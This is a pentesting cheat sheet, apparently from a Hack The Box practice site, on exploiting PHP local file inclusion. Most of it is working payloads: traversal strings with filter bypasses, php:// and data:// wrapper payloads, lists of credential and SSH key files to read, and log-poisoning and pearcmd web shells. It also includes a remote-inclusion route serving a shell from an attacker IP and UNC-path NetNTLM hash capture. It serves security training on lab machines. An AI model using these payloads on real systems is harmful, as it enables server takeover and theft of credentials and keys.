LFI: from reading /etc/passwd to running commands

Local file inclusion step by step: path traversal and its bypasses, PHP wrappers, which files to read on Linux and Windows, and the routes to turn an LFI into RCE.

· 4 min read

A Local File Inclusion shows up when the application builds a path from your input (?page=contact → include("pages/contact.php")) without checking it. With ../ you escape the folder and read, or even execute, other files on the server.

First of all, work out what you have:

  • Read (file_get_contents, readfile, send_file...): you see the content as is. Good for stealing files.
  • Include (include, require in PHP): the file is executed if it contains PHP code. This is the one that can end in RCE.

Detecting it

?page=../../../../../../etc/passwd
?page=/etc/passwd
?page=....//....//....//etc/passwd
?page=..%2f..%2f..%2fetc%2fpasswd
?page=%252e%252e%252fetc%252fpasswd
?page=../../../../etc/passwd%00
Defence you see Bypass
../ stripped once ....// (stripping it leaves ../)
Literal ../ filtered URL encoding %2e%2e%2f or double %252e%252e%252f
.php appended Wrappers (below) or a null byte %00 on PHP < 5.3.4
Path must start with a folder pages/../../../../etc/passwd

To try lots of variants at once:

ffuf -u 'http://web/index.php?page=FUZZ' -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -fs 0

Tip

If you do not know the parameter name, fuzz it first: ffuf -u 'http://web/index.php?FUZZ=../../../../etc/passwd' -w burp-parameter-names.txt -fs <normal size>.

PHP wrappers

If the code is PHP, wrappers are your main tool.

# Read a .php file's source without it running (comes out base64)
?page=php://filter/convert.base64-encode/resource=index.php
?page=php://filter/convert.base64-encode/resource=config

# Run code (need allow_url_include=On, which is rare)
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjIl0pOyA/Pg==&c=id
?page=php://input            (with the PHP code in a POST body)

# With the expect extension installed (very rare)
?page=expect://id

Reading the source is almost always the next step: it gives you database credentials, other vulnerable routes or the exact names of the files it includes.

Which files to read

Linux

File Why
/etc/passwd Users with a shell (and their home)
/home/<user>/.ssh/id_rsa Private key: straight in over SSH
/proc/self/environ, /proc/self/cmdline Environment and command line of the web process (sometimes with secrets)
/proc/self/cwd/... Files relative to the application folder
/etc/apache2/sites-enabled/000-default.conf, /etc/nginx/sites-enabled/default Virtual hosts and where the code lives
/var/www/html/config.php, .env, settings.py, application.properties Application credentials
/proc/net/tcp Ports open only on localhost (in hex)

Windows

File Why
C:\Windows\win.ini Check that the LFI works
C:\inetpub\wwwroot\web.config IIS config, sometimes with connection strings
C:\xampp\apache\conf\httpd.conf, C:\xampp\php\php.ini XAMPP paths and config
C:\Users\<user>\.ssh\id_rsa SSH keys

Note

On Windows, a UNC path such as \\10.10.14.5\x\a.php makes the server connect to your SMB share. With Responder or impacket-smbserver you grab the NetNTLMv2 hash of the account running the web app.

From LFI to RCE

Log poisoning

If you can include the web server log, write PHP into it (for example in the User-Agent) and then include it:

curl -A '<?php system($_GET["c"]); ?>' http://web/
curl 'http://web/index.php?page=/var/log/apache2/access.log&c=id'

Usual logs: /var/log/apache2/access.log, /var/log/nginx/access.log, /var/log/auth.log (injecting into the username of a failed SSH login) or /var/log/vsftpd.log.

Warning

If your PHP has a syntax error, the log is "broken" and every later inclusion fails. Get the payload right first time.

PHP sessions

If something you control is stored in the session (username, language...), it lives in /var/lib/php/sessions/sess_<PHPSESSID>. Put PHP in that value and include the file.

PHP filter chains

By chaining convert.iconv filters in php://filter you can build any text, PHP code included, without uploading anything. All you need is an include with a controlled path:

python3 php_filter_chain_generator.py --chain '<?php system($_GET["c"]); ?>'

The tool (by Synacktiv) gives you a huge string you paste as the parameter value.

Upload a file and include it

If there is a file upload (a profile picture, an attachment), even one that only takes images, you can upload a file with PHP inside and include it by its path. If the extension gets changed, the zip:// and phar:// wrappers let you include a PHP file from inside a ZIP:

?page=zip:///var/www/html/uploads/avatar.jpg%23shell.php

pearcmd.php

Many official PHP Docker images ship /usr/local/lib/php/pearcmd.php with register_argc_argv on. Including it with arguments in the URL lets you write a file with your code:

?page=/usr/local/lib/php/pearcmd.php&+config-create+/<?=system($_GET['c'])?>+/tmp/c.php

(Send it with Burp or curl, since a browser would encode < and ?.) Then ?page=/tmp/c.php&c=id.

RFI

If allow_url_include is on (or on Windows, with UNC paths), you can include a file of your own directly:

echo '<?php system($_GET["c"]); ?>' > s.php && python3 -m http.server 80
# ?page=http://10.10.14.5/s.php&c=id

See the RFI machines for real cases.

Practise it on real machines

Hack The Box machines where this technique is used. Each ▶ jumps to the minute of the IppSec video where it shows up.

LFI / path traversal 50 machines

See all 50 machines →

Remote file inclusion (RFI) 3 machines

Spotted a mistake or something missing? Tell us